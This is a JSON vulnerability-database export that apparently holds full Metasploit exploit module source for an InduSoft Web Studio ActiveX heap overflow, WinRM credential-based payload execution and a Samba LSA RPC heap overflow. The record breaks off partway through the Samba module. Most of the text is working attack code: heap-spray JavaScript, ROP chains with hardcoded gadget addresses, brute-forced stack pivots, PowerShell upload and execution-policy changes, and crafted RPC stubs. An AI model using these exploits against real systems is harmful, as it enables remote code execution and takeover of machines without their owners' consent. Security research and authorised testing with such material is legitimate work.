{"metasploit": [{"lastseen": "2020-01-09T16:37:06", "bulletinFamily": "exploit", "description": "This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00 SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long string argument for the InternationalSeparator() method of the ISSymbol control. This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.\n", "modified": "2017-10-05T21:44:36", "published": "2012-12-18T22:48:53", "id": "MSF:EXPLOIT/WINDOWS/BROWSER/INDUSOFT_ISSYMBOL_INTERNATIONALSEPARATOR", "href": "", "type": "metasploit", "title": "InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::Remote::HttpServer::HTML\n include Msf::Exploit::RopDb\n #include Msf::Exploit::Remote::BrowserAutopwn\n #\n #autopwn_info({\n # :ua_name => HttpClients::IE,\n # :ua_minver => \"6.0\",\n # :ua_maxver => \"9.0\",\n # :javascript => true,\n # :os_name => OperatingSystems::Match::WINDOWS,\n # :rank => NormalRanking,\n # :classid => \"{3c9dff6f-5cb0-422e-9978-d6405d10718f}\",\n # :method => \"InternationalSeparator\"\n #})\n\n\n def initialize(info={})\n super(update_info(info,\n 'Name' => \"InduSoft Web Studio ISSymbol.ocx InternationalSeparator() Heap Overflow\",\n 'Description' => %q{\n This module exploits a heap overflow found in InduSoft Web Studio <= 61.6.00.00\n SP6. The overflow exists in the ISSymbol.ocx, and can be triggered with a long\n string argument for the InternationalSeparator() method of the ISSymbol control.\n This module uses the msvcr71.dll form the Java JRE6 to bypass ASLR.\n },\n 'License' => MSF_LICENSE,\n 'Author' =>\n [\n 'Alexander Gavrun', # Vulnerability discovery\n 'Dmitriy Pletnev', # Vulnerability discovery\n 'James Fitts <fitts.james[at]gmail.com>', # Metasploit module\n 'juan vazquez' # Metasploit module\n ],\n 'References' =>\n [\n [ 'CVE', '2011-0340' ],\n [ 'OSVDB', '72865' ],\n [ 'BID', '47596' ],\n [ 'ZDI', '12-168' ],\n [ 'URL', 'http://secunia.com/secunia_research/2011-37/' ]\n ],\n 'Payload' =>\n {\n 'Space' => 934,\n 'DisableNops' => true,\n 'PrependEncoder' => \"\\x81\\xc4\\x54\\xf2\\xff\\xff\" # Stack adjustment # add esp, -3500\n },\n 'DefaultOptions' =>\n {\n 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate'\n },\n 'Platform' => 'win',\n 'Targets' =>\n [\n [ 'Automatic', {} ],\n [ 'IE 6 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],\n [ 'IE 7 on Windows XP SP3', { 'Rop' => nil, 'Offset' => '0x5F4' } ],\n [ 'IE 8 on Windows XP SP3', { 'Rop' => :msvcrt, 'Offset' => '0x5f4' } ],\n [ 'IE 7 on Windows Vista', { 'Rop' => nil, 'Offset' => '0x5f4' } ],\n [ 'IE 8 on Windows Vista', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],\n [ 'IE 8 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5f4' } ],\n [ 'IE 9 on Windows 7', { 'Rop' => :jre, 'Offset' => '0x5fe' } ]\n ],\n 'Privileged' => false,\n 'DisclosureDate' => \"Apr 28 2012\",\n 'DefaultTarget' => 0))\n\n register_options(\n [\n OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])\n ])\n\n end\n\n def get_target(agent)\n #If the user is already specified by the user, we'll just use that\n return target if target.name != 'Automatic'\n\n nt = agent.scan(/Windows NT (\\d\\.\\d)/).flatten[0] || ''\n ie = agent.scan(/MSIE (\\d)/).flatten[0] || ''\n\n ie_name = \"IE #{ie}\"\n\n case nt\n when '5.1'\n os_name = 'Windows XP SP3'\n when '6.0'\n os_name = 'Windows Vista'\n when '6.1'\n os_name = 'Windows 7'\n end\n\n targets.each do |t|\n if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))\n print_status(\"Target selected as: #{t.name}\")\n return t\n end\n end\n\n return nil\n end\n\n def ie_heap_spray(my_target, p)\n js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))\n js_nops = Rex::Text.to_unescape(\"\\x0c\"*4, Rex::Arch.endian(target.arch))\n js_random_nops = Rex::Text.to_unescape(make_nops(4), Rex::Arch.endian(my_target.arch))\n randnop = rand_text_alpha(rand(100) + 1)\n\n # Land the payload at 0x0c0c0c0c\n case my_target\n when targets[7]\n # IE 9 on Windows 7\n js = %Q|\n function randomblock(blocksize)\n {\n var theblock = \"\";\n for (var i = 0; i < blocksize; i++)\n {\n theblock += Math.floor(Math.random()*90)+10;\n }\n return theblock;\n }\n\n function tounescape(block)\n {\n var blocklen = block.length;\n var unescapestr = \"\";\n for (var i = 0; i < blocklen-1; i=i+4)\n {\n unescapestr += \"%u\" + block.substring(i,i+4);\n }\n return unescapestr;\n }\n\n var heap_obj = new heapLib.ie(0x10000);\n var code = unescape(\"#{js_code}\");\n var #{randnop} = \"#{js_random_nops}\";\n var nops = unescape(#{randnop});\n while (nops.length < 0x80000) nops += nops;\n var offset_length = #{my_target['Offset']};\n for (var i=0; i < 0x1000; i++) {\n var padding = unescape(tounescape(randomblock(0x1000)));\n while (padding.length < 0x1000) padding+= padding;\n var junk_offset = padding.substring(0, offset_length);\n var single_sprayblock = junk_offset + code + nops.substring(0, 0x800 - code.length - junk_offset.length);\n while (single_sprayblock.length < 0x20000) single_sprayblock += single_sprayblock;\n sprayblock = single_sprayblock.substring(0, (0x40000-6)/2);\n heap_obj.alloc(sprayblock);\n }\n |\n\n else\n # For IE 6, 7, 8\n js = %Q|\n var heap_obj = new heapLib.ie(0x20000);\n var code = unescape(\"#{js_code}\");\n var #{randnop} = \"#{js_nops}\";\n var nops = unescape(#{randnop});\n while (nops.length < 0x80000) nops += nops;\n var offset = nops.substring(0, #{my_target['Offset']});\n var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);\n while (shellcode.length < 0x40000) shellcode += shellcode;\n var block = shellcode.substring(0, (0x80000-6)/2);\n heap_obj.gc();\n for (var i=1; i < 0x300; i++) {\n heap_obj.alloc(block);\n }\n |\n\n end\n\n js = heaplib(js, {:noobfu => true})\n\n if datastore['OBFUSCATE']\n js = ::Rex::Exploitation::JSObfu.new(js)\n js.obfuscate(memory_sensitive: true)\n end\n\n return js\n end\n\n def get_payload(t, cli)\n code = payload.encoded\n\n # No rop. Just return the payload.\n if t['Rop'].nil?\n prepend = [\n 0x0c0c0c0c,\n 0x0c0c0c0c,\n 0x0c0c0c0c,\n 0x0c0c0c0c,\n 0x0c0c0c0c,\n 0x0c0c0c0c,\n 0x0c0c0c28 # Will finally become EIP\n ].pack(\"V*\")\n return prepend + code\n end\n\n # Both ROP chains generated by mona.py - See corelan.be\n case t['Rop']\n when :msvcrt\n print_status(\"Using msvcrt ROP\")\n stack_pivot = [\n 0x0c0c0c0c, # ret from msvcrt.dll\n 0x77c15ed6, # ret from msvcrt.dll\n 0x77c15ed6, # ret from msvcrt.dll\n 0x77c15ed6, # ret from msvcrt.dll\n 0x77c15ed6, # ret from msvcrt.dll\n 0x77c1f519, # pop # ret from msvcrt.dll\n 0x77c4fa1a # will become eip # mov esp, ebx # pop ebx # ret from msvcrt.dll\n ].pack(\"V*\")\n rop_payload = generate_rop_payload('msvcrt', code, {'pivot'=>stack_pivot, 'target'=>'xp'})\n else\n print_status(\"Using JRE ROP\")\n stack_pivot = [\n 0x0c0c0c0c, # ret from msvcr71.dll\n 0x7c376fff, # ret from msvcr71.dll\n 0x7c376fff, # ret from msvcr71.dll\n 0x7c376fff, # ret from msvcr71.dll\n 0x7c376fff, # ret from msvcr71.dll\n 0x7c376ffe, # pop # ret from msvcr71.dll\n 0x7c376ffc # will become eip # mov esp, ebx # pop ebx # ret from msvcr71.dll\n ].pack(\"V*\")\n rop_payload = generate_rop_payload('java', code, {'pivot'=>stack_pivot})\n end\n\n return rop_payload\n end\n\n def load_exploit_html(my_target, cli)\n p = get_payload(my_target, cli)\n js = ie_heap_spray(my_target, p)\n\n # ActiveX parameters\n clsid = \"3c9dff6f-5cb0-422e-9978-d6405d10718f\"\n name = rand_text_alpha(rand(50) + 1 )\n boom = Rex::Text.to_unescape(\"\\x0c\" * 6888)\n\n html = %Q|\n <html>\n <head>\n <script>\n #{js}\n </script>\n </head>\n <body>\n <object classid='clsid:#{clsid}' id='#{name}'></object>\n <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\">\n <script language='javascript'>\n #{name}.InternationalSeparator(unescape(\"#{boom}\"));\n </script>\n </body></html>\n |\n\n return html\n end\n\n def on_request_uri(cli, request)\n agent = request.headers['User-Agent']\n uri = request.uri\n print_status(\"Requesting: #{uri}\")\n\n my_target = get_target(agent)\n # Avoid the attack if no suitable target found\n if my_target.nil?\n print_error(\"Browser not supported, sending 404: #{agent}\")\n send_not_found(cli)\n return\n end\n\n html = load_exploit_html(my_target, cli)\n html = html.gsub(/^ {4}/, '')\n print_status(\"Sending HTML...\")\n send_response(cli, html, {'Content-Type'=>'text/html'})\n end\nend\n\n=begin\neax=41306941 ebx=41306941 ecx=336b4632 edx=00000064 esi=064c0048 edi=00009796\neip=100127d2 esp=0013e60c ebp=0013e640 iopl=0 nv up ei pl nz na po nc\ncs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010202\nISSymbol!DllUnregisterServer+0xc9e2:\n100127d2 8b01 mov eax,dword ptr [ecx] ds:0023:336b4632=????????\n0:000> u eip\nISSymbol!DllUnregisterServer+0xc9e2:\n100127d2 8b01 mov eax,dword ptr [ecx]\n100127d4 8b5018 mov edx,dword ptr [eax+18h]\n100127d7 ffe2 jmp edx\n100127d9 cc int 3\n100127da cc int 3\n100127db cc int 3\n100127dc cc int 3\n100127dd cc int 3\n\n* ebx\n$ ruby pattern_offset.rb 41306941 6888\n[*] Exact match at offset 240\n\n* ecx\n$ ruby pattern_offset.rb 336b4632 6888\n[*] Exact match at offset 4208\n\n=end\n", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/browser/indusoft_issymbol_internationalseparator.rb"}, {"lastseen": "2020-01-15T20:36:36", "bulletinFamily": "exploit", "description": "This module uses valid credentials to login to the WinRM service and execute a payload. It has two available methods for payload delivery: Powershell 2.0 and VBS CmdStager. The module will check if Powershell 2.0 is available, and if so uses that method. Otherwise it falls back to the VBS CmdStager which is less stealthy. IMPORTANT: If targeting an x64 system with the Powershell method you MUST select an x64 payload. An x86 payload will never return.\n", "modified": "2017-07-24T13:26:21", "published": "2012-11-05T19:29:57", "id": "MSF:EXPLOIT/WINDOWS/WINRM/WINRM_SCRIPT_EXEC", "href": "", "type": "metasploit", "title": "WinRM Script Exec Remote Code Execution", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = ManualRanking\n\n include Msf::Exploit::Remote::WinRM\n include Msf::Exploit::CmdStager\n\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'WinRM Script Exec Remote Code Execution',\n 'Description' => %q{\n This module uses valid credentials to login to the WinRM service\n and execute a payload. It has two available methods for payload\n delivery: Powershell 2.0 and VBS CmdStager.\n\n The module will check if Powershell 2.0 is available, and if so uses\n that method. Otherwise it falls back to the VBS CmdStager which is\n less stealthy.\n\n IMPORTANT: If targeting an x64 system with the Powershell method\n you MUST select an x64 payload. An x86 payload will never return.\n },\n 'Author' => [ 'thelightcosine' ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n [ 'URL', 'http://msdn.microsoft.com/en-us/library/windows/desktop/aa384426(v=vs.85).aspx' ],\n ],\n 'Privileged' => true,\n 'DefaultOptions' =>\n {\n 'WfsDelay' => 30,\n 'EXITFUNC' => 'thread',\n 'InitialAutoRunScript' => 'post/windows/manage/priv_migrate',\n 'CMDSTAGER::DECODER' => File.join(Rex::Exploitation::DATA_DIR, \"exploits\", \"cmdstager\", \"vbs_b64_sleep\")\n },\n 'Platform' => 'win',\n 'Arch' => [ ARCH_X86, ARCH_X64 ],\n 'Targets' =>\n [\n [ 'Windows', { } ],\n ],\n 'DefaultTarget' => 0,\n 'DisclosureDate' => 'Nov 01 2012'\n ))\n\n register_options(\n [\n OptBool.new('FORCE_VBS', [ true, 'Force the module to use the VBS CmdStager', false]),\n OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),\n OptString.new('PASSWORD', [ true, 'A specific password to authenticate with' ]),\n ], self.class\n )\n deregister_options('CMDSTAGER::FLAVOR')\n @compat_mode = false\n end\n\n def exploit\n unless valid_login?\n print_error \"Login Failure. Recheck your credentials\"\n return\n end\n if powershell2?\n path = upload_script\n return if path.nil?\n exec_script(path)\n else\n execute_cmdstager({:flavor => :vbs})\n end\n handler\n end\n\n def execute_command(cmd,opts)\n commands = cmd.split(/&/)\n commands.each do |command|\n if command.include? \"cscript\"\n streams = winrm_run_cmd_hanging(command)\n print_status streams.inspect\n elsif command.include? \"del %TEMP%\"\n next\n else\n winrm_run_cmd(command)\n end\n end\n end\n\n def upload_script\n tdir = temp_dir\n return if tdir.nil?\n path = tdir + \"\\\\\" + ::Rex::Text.rand_text_alpha(8) + \".ps1\"\n print_status \"Uploading powershell script to #{path} (This may take a few minutes)...\"\n\n script = Msf::Util::EXE.to_win32pe_psh(framework,payload.encoded)\n #add a sleep to the script to give us enoguh time to establish a session\n script << \"\\n Start-Sleep -s 600\"\n script.each_line do |psline|\n #build our psh command to write out our psh script, meta eh?\n script_line = \"Add-Content #{path} '#{psline.chomp}' \"\n cmd = encoded_psh(script_line)\n streams = winrm_run_cmd(cmd)\n end\n return path\n end\n\n def exec_script(path)\n print_status \"Attempting to execute script...\"\n cmd = \"#{@invoke_powershell} -File #{path}\"\n winrm_run_cmd_hanging(cmd)\n end\n\n def encoded_psh(script)\n script = script.chars.to_a.join(\"\\x00\").chomp\n script << \"\\x00\" unless script[-1].eql? \"\\x00\"\n script = Rex::Text.encode_base64(script).chomp\n cmd = \"#{@invoke_powershell} -encodedCommand #{script}\"\n end\n\n def temp_dir\n print_status \"Grabbing %TEMP%\"\n resp = send_winrm_request(winrm_open_shell_msg)\n if resp.nil?\n print_error \"Got no reply from the server\"\n return nil\n end\n unless resp.code == 200\n print_error \"Got unexpected response: \\n #{resp.to_s}\"\n return nil\n end\n shell_id = winrm_get_shell_id(resp)\n cmd = \"echo %TEMP%\"\n resp = send_winrm_request(winrm_cmd_msg(cmd, shell_id))\n cmd_id = winrm_get_cmd_id(resp)\n resp = send_winrm_request(winrm_cmd_recv_msg(shell_id,cmd_id))\n streams = winrm_get_cmd_streams(resp)\n return streams['stdout'].chomp\n end\n\n def check_remote_arch\n wql = %q{select AddressWidth from Win32_Processor where DeviceID=\"CPU0\"}\n resp = send_winrm_request(winrm_wql_msg(wql))\n #Default to x86 if we can't be sure\n return ARCH_X86 if resp.nil? or resp.code != 200\n resp_tbl = parse_wql_response(resp)\n addr_width = resp_tbl.rows.flatten[0]\n if addr_width == '64'\n return ARCH_X64\n else\n return ARCH_X86\n end\n end\n\n def correct_payload_arch?\n @target_arch = check_remote_arch\n case @target_arch\n when ARCH_X64\n if datastore['PAYLOAD'].include?(ARCH_X86)\n print_error \"You selected an x86 payload for an x64 target...trying to run in compat mode\"\n @compat_mode = true\n return false\n end\n when ARCH_X86\n if datastore['PAYLOAD'].include?(ARCH_X64)\n print_error \"you selected an x64 payload for an x86 target\"\n return false\n end\n end\n return true\n end\n\n\n def powershell2?\n if datastore['FORCE_VBS']\n print_status \"User selected the FORCE_VBS option\"\n return false\n end\n print_status \"checking for Powershell 2.0\"\n streams = winrm_run_cmd(\"powershell Get-Host\")\n if streams == 401\n print_error \"Login failed!\"\n return false\n end\n unless streams.class == Hash\n print_error \"Received error while running check\"\n return false\n end\n if streams['stderr'].include? \"not recognized\"\n print_error \"Powershell is not installed\"\n return false\n end\n streams['stdout'].each_line do |line|\n next unless line.start_with? \"Version\"\n major_version = line.match(/\\d(?=\\.)/)[0]\n if major_version == \"1\"\n print_error \"The target is running an older version of Powershell\"\n return false\n end\n end\n\n return false unless correct_payload_arch? or @target_arch == ARCH_X64\n if @compat_mode == true\n @invoke_powershell = \"%SYSTEMROOT%\\\\SysWOW64\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n else\n @invoke_powershell = \"powershell\"\n end\n\n print_status \"Attempting to set Execution Policy\"\n streams = winrm_run_cmd(\"#{@invoke_powershell} Set-ExecutionPolicy Unrestricted\")\n if streams == 401\n print_error \"Login failed!\"\n return false\n end\n unless streams.class == Hash\n print_error \"Received error while running check\"\n return false\n end\n streams = winrm_run_cmd(\"#{@invoke_powershell} Get-ExecutionPolicy\")\n if streams['stdout'].include? 'Unrestricted'\n print_good \"Set Execution Policy Successfully\"\n return true\n end\n return false\n end\n\n def valid_login?\n data = winrm_wql_msg(\"Select Name,Status from Win32_Service\")\n resp = send_winrm_request(data)\n unless resp.code == 200\n return false\n end\n return true\n end\nend\n", "cvss": {"score": 0.0, "vector": "NONE"}, "sourceHref": "https://github.com/rapid7/metasploit-framework/blob/master//modules/exploits/windows/winrm/winrm_script_exec.rb"}, {"lastseen": "2020-01-09T16:45:41", "bulletinFamily": "exploit", "description": "This module triggers a vulnerability in the LSA RPC service of the Samba daemon because of an error on the PIDL auto-generated code. Making a specially crafted call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to trigger a heap overflow and finally execute arbitrary code with root privileges. The module uses brute force to guess the stackpivot/rop chain or the system() address and redirect flow there in order to bypass NX. The start and stop addresses for brute forcing have been calculated empirically. On the other hand the module provides the StartBrute and StopBrute which allow the user to configure his own addresses.\n", "modified": "2017-07-24T13:26:21", "published": "2012-09-27T23:18:52", "id": "MSF:EXPLOIT/LINUX/SAMBA/SETINFOPOLICY_HEAP", "href": "", "type": "metasploit", "title": "Samba SetInformationPolicy AuditEventsInfo Heap Overflow", "sourceData": "##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n Rank = NormalRanking\n\n include Msf::Exploit::Remote::DCERPC\n include Msf::Exploit::Remote::SMB::Client\n include Msf::Exploit::RopDb\n include Msf::Exploit::Brute\n\n def initialize(info = {})\n super(update_info(info,\n 'Name' => 'Samba SetInformationPolicy AuditEventsInfo Heap Overflow',\n 'Description' => %q{\n This module triggers a vulnerability in the LSA RPC service of the Samba daemon\n because of an error on the PIDL auto-generated code. Making a specially crafted\n call to SetInformationPolicy to set a PolicyAuditEventsInformation allows to\n trigger a heap overflow and finally execute arbitrary code with root privileges.\n\n The module uses brute force to guess the stackpivot/rop chain or the system()\n address and redirect flow there in order to bypass NX. The start and stop addresses\n for brute forcing have been calculated empirically. On the other hand the module\n provides the StartBrute and StopBrute which allow the user to configure his own\n addresses.\n },\n 'Author' =>\n [\n 'Unknown', # Vulnerability discovery\n 'blasty', # Exploit\n 'mephos', # Metasploit module\n 'sinn3r', # Metasploit module\n 'juan vazquez' # Metasploit module\n ],\n 'License' => MSF_LICENSE,\n 'References' =>\n [\n ['CVE', '2012-1182'],\n ['OSVDB', '81303'],\n ['BID', '52973'],\n ['ZDI', '12-069']\n ],\n 'Privileged' => true,\n 'Payload' =>\n {\n 'DisableNops' => true,\n 'Space' => 600,\n },\n 'Platform' => %w{ linux unix },\n # smbd process is killed soon after being exploited, need fork with meterpreter\n 'DefaultOptions' => { \"PrependSetreuid\" => true, \"PrependSetregid\" => true, \"PrependFork\" => true, \"AppendExit\" => true, \"WfsDelay\" => 5},\n 'Targets' =>\n [\n ['2:3.5.11~dfsg-1ubuntu2 on Ubuntu Server 11.10',\n {\n 'Arch' => ARCH_X86,\n 'Offset' => 0x11c0,\n 'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',\n 'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0\n 'Bruteforce' =>\n {\n 'Start' => { 'libgcrypt_base' => 0xb67f1000 },\n 'Stop' => { 'libgcrypt_base' => 0xb69ef000 },\n 'Step' => 0x1000\n }\n }\n ],\n ['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.10',\n {\n 'Arch' => ARCH_X86,\n 'Offset' => 0x11c0,\n 'Ropname' => 'Ubuntu 11.10 / 2:3.5.8~dfsg-1ubuntu2',\n 'Stackpivot' => 0x0004393c, # xchg eax, esp ; ret in /lib/i386-linux-gnu/libgcrypt.so.11.7.0\n 'Bruteforce' =>\n {\n 'Start' => { 'libgcrypt_base' => 0xb68d9000 },\n 'Stop' => { 'libgcrypt_base' => 0xb6ad7000 },\n 'Step' => 0x1000\n }\n }\n ],\n ['2:3.5.8~dfsg-1ubuntu2 on Ubuntu Server 11.04',\n {\n 'Arch' => ARCH_X86,\n 'Offset' => 0x11c0,\n 'Ropname' => 'Ubuntu 11.04 / 2:3.5.8~dfsg-1ubuntu2',\n # when stack pivoting, we control dword [esi] (field \"next\" in talloc chunk), ecx and [esp+4] point to shellcode\n 'Stackpivot' => 0x0006af03, # pop ecx ; jmp dword [esi] in /lib/i386-linux-gnu/libgcrypt.so.11.6.0\n # we jump on \"pop ecx, jmp dword [esi] to remove 4 bytes from the stack, then jump on pop esp.. gadget\n # to effectively stack pivot\n 'Stackpivot_helper' => 0x00054e87, #pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret ;\n 'Bruteforce' =>\n {\n 'Start' => { 'libgcrypt_base' => 0xb6973000 },\n 'Stop' => { 'libgcrypt_base' => 0xb6b71000 },\n 'Step' => 0x1000\n }\n }\n ],\n # default version when installing 11.04 is 3.5.8 , 3.5.4 was PROPOSED on CD months before release date\n #['2:3.5.4~dfsg-1ubuntu8 on Ubuntu 11.04',\n #\t{\n #\t\t'Arch' => ARCH_CMD,\n #\t\t'Offset' => 0x11c0,\n #\t\t'Ropname' => 'Ubuntu 11.04 / 2:3.5.4~dfsg-1ubuntu8',\n #\t\t'Stackpivot' => 0,\n #\t\t'Bruteforce' =>\n #\t\t{\n #\t\t\t# The start should be 0x950 aligned, and then step 0x1000.\n #\t\t\t'Start' => { 'Ret' => 0x00230950 },\n #\t\t\t'Stop' => { 'Ret' => 0x22a00950 },\n #\t\t\t'Step' => 0x1000\n #\t\t}\n #\t}\n #],\n ['2:3.5.4~dfsg-1ubuntu8 on Ubuntu Server 10.10',\n {\n 'Arch' => ARCH_X86,\n 'Offset' => 0x11c0,\n 'Ropname' => 'Ubuntu 10.10 / 2:3.5.4~dfsg-1ubuntu8',\n 'Stackpivot' => 0x0003e4bc, #xchg eax, esp ; ret in libgcrypt.so.11.5.3\n 'Bruteforce' =>\n {\n 'Start' => { 'libgcrypt_base' => 0xb694f000 },\n 'Stop' => { 'libgcrypt_base' => 0xb6b4d000 },\n 'Step' => 0x1000\n }\n }\n ],\n ['2:3.5.6~dfsg-3squeeze6 on Debian Squeeze',\n {\n 'Arch' => ARCH_X86,\n 'Offset' => 0x11c0,\n 'Ropname' => 'Debian Squeeze / 2:3.5.6~dfsg-3squeeze6',\n 'Stackpivot' => 0x0003e30c, #xchg eax, esp ; ret in libgcrypt.so.11.5.3\n 'Bruteforce' =>\n {\n 'Start' => { 'libgcrypt_base' => 0xb6962000 },\n 'Stop' => { 'libgcrypt_base' => 0xb6a61000 },\n 'Step' => 0x1000\n }\n }\n ],\n ['3.5.10-0.107.el5 on CentOS 5',\n {\n 'Arch' => ARCH_X86,\n 'Offset' => 0x11c0,\n 'Ropname' => '3.5.10-0.107.el5 on CentOS 5',\n 'Stackpivot' => 0x0006ad7e, #xchg eax, esp ; xchg eax, ebx ; add eax, 0xCB313435 ; or ecx, eax ; ret in libgcrypt.so.11.5.2\n 'Bruteforce' =>\n {\n 'Start' => { 'libgcrypt_base' => 0x0037c000 },\n 'Stop' => { 'libgcrypt_base' => 0x09e73000 },\n 'Step' => 0x1000\n }\n }\n ]\n\n ],\n 'DisclosureDate' => 'Apr 10 2012',\n 'DefaultTarget' => 0\n ))\n\n register_options([\n OptInt.new(\"StartBrute\", [ false, \"Start Address For Brute Forcing\" ]),\n OptInt.new(\"StopBrute\", [ false, \"Stop Address For Brute Forcing\" ])\n ])\n\n end\n\n def exploit\n if target.bruteforce?\n bf = target.bruteforce\n\n if datastore['StartBrute'] and datastore['StartBrute'] > 0\n bf.start_addresses['libgcrypt_base'] = datastore['StartBrute']\n end\n\n if datastore['StopBrute'] and datastore['StopBrute'] > 0\n bf.stop_addresses['libgcrypt_base'] = datastore['StopBrute']\n end\n\n if bf.start_addresses['libgcrypt_base'] > bf.stop_addresses['libgcrypt_base']\n raise ArgumentError, \"StartBrute should not be larger than StopBrute\"\n end\n end\n super\n end\n\n def brute_exploit(target_addrs)\n print_status(\"Trying to exploit Samba with address 0x%.8x...\" % target_addrs['libgcrypt_base'])\n datastore['DCERPC::fake_bind_multi'] = false\n datastore['DCERPC::max_frag_size'] = 4248\n datastore['DCERPC::smb_pipeio'] = 'trans'\n datastore['DCERPC::ReadTimeout'] = 3\n\n pipe = \"lsarpc\"\n\n\n connect()\n smb_login()\n\n handle = dcerpc_handle('12345778-1234-abcd-ef00-0123456789ab', '0.0', 'ncacn_np', [\"\\\\#{pipe}\"])\n dcerpc_bind(handle)\n dcerpc.socket.mode = 'rw'\n # revert for other exploits\n datastore['DCERPC::smb_pipeio'] = 'rw'\n\n cmd = \";;;;\" # padding\n helper = 0\n if target['Arch'] == ARCH_CMD\n cmd << \"#{payload.encoded}\\x00\" # system argument\n tmp = cmd * (816/cmd.length)\n tmp << \"\\x00\"*(816-tmp.length)\n ret_addr = addr\n elsif target['Arch'] == ARCH_X86\n cmd << generate_rop_payload('samba', payload.encoded,{'target'=>target['Ropname'], 'base'=> target_addrs['libgcrypt_base'] })\n tmp = cmd\n tmp << \"\\x00\"*(816-tmp.length)\n ret_addr = target_addrs['libgcrypt_base']+target['Stackpivot']\n # will help in stack pivot when it's not eax pointing to shellcode\n if target['Stackpivot_helper']\n helper = target_addrs['libgcrypt_base']+target['Stackpivot_helper']\n end\n end\n\n stub = \"X\" * 20\n\n stub << NDR.short(2) # level\n stub << NDR.short(2) # level 2\n stub << NDR.long(1) # auditing mode\n stub << NDR.long(1) # ptr\n stub << NDR.long(100000) # r-> count\n stub << NDR.long(20) # array size\n stub << NDR.long(0)\n stub << NDR.long(100)\n stub << rand_text_alpha(target['Offset'])\n # Crafted talloc chunk\n #stub << 'A' * 8 # next, prev\n stub << NDR.long(helper) + 'A'*4 # next, prev\n stub << NDR.long(0) + NDR.long(0) # parent, child\n stub << NDR.long(0) # refs\n #\t\tstub << NDR.long(target_addrs['Ret']) # destructor # will become EIP\n stub << NDR.long(ret_addr) # destructor # will become EIP\n stub << NDR.long(0) # name\n stub << \"AAAA\" # size\n stub << NDR.long(0xe8150c70) # flags\n stub << \"AAAABBBB\"\n stub << tmp # pointer to tmp+4 in $esp\n stub << rand_text(32632)\n stub << rand_text(62000)\n\n begin\n call(dcerpc, 0x08, stub)\n rescue Rex::Proto::DCERPC::Exceptions::NoResponse, Rex::Proto::SMB::Exceptions::NoReply, ::EOFError\n rescue Rex::Proto::DCERPC::Exceptions::Fault\n print_error('Server is most likely patched...')\n rescue Timeout::Error\n print_status(\"Timeout\")\n rescue Rex::Proto::SMB::Exceptions::LoginError\n print_status(\"Rex::Proto::SMB::Exceptions::LoginError\")\n rescue => e\n if e.to_s =~ /STATUS_PIPE_DISCONNECTED/\n print_status('Server disconnected, this is expected')\n end\n end\n handler()\n disconnect()\n end\n\n def check\n begin\n connect()\n smb_login()\n disconnect()\n\n version = smb_peer_lm().scan(/Samba (\\d\\.\\d.\\d*)/).flatten[0]\n minor = version.scan(/\\.(\\d*)$/).flatten[0].to_i\n vprint_status(\"Version found: #{version}\")\n\n return Exploit::CheckCode::Appears if version =~ /^3\\.4/ and minor < 16\n return Exploit::CheckCode::Appears if version =~ /^3\\.5/ and minor < 14\n return Exploit::CheckCode::Appears if version =~ /^3\\.6/ and minor < 4\n\n return Exploit::CheckCode::Safe\n\n rescue ::Exception\n return CheckCode::Unknown\n end\n end\n\n # Perform a DCE/RPC Function Call\n def call(dcerpc, function, data, do_recv = true)\n\n frag_size = data.length\n if dcerpc.options['frag_size']\n frag_size = dcerpc.options['frag_size']\n end\n object_id = ''\n if dcerpc.options['object_call']\n object_id = dcerpc.handle.uuid[0]\n end\n if options['random_object_id']\n object_id = Rex::Proto::DCERPC::UUID.uuid_unpack(Rex::Text.rand_text(16))\n end\n\n call_packets = make_request(function, data, frag_size, dcerpc.context, object_id)\n call_packets.each { |packet|\n write(dcerpc, packet)\n }\n\n return true if not do_recv\n\n raw_response = ''\n\n begin\n raw_response = dcerpc.read()\n rescue ::EOFError\n raise Rex::Proto::DCERPC::Exceptions::NoResponse\n end\n\n if (raw_response == nil or raw_response.length == 0)\n raise Rex::Proto::DCERPC::Exceptions::NoResponse\n end\n\n\n dcerpc.last_response = Rex::Proto::DCERPC::Response.new(raw_response)\n\n if dcerpc.last_response.type == 3\n e = Rex::Proto::DCERPC::Exceptions::Fault.new\n e.fault = dcerpc.last_response.status\n raise e\n end\n\n dcerpc.last_response.stub_data\n end\n\n # Used to create standard DCERPC REQUEST packet(s)\n def make_request(opnum=0, data=\"\", size=data.length, ctx=0, object_id = '')\n\n opnum = opnum.to_i\n size = size.to_i\n ctx = 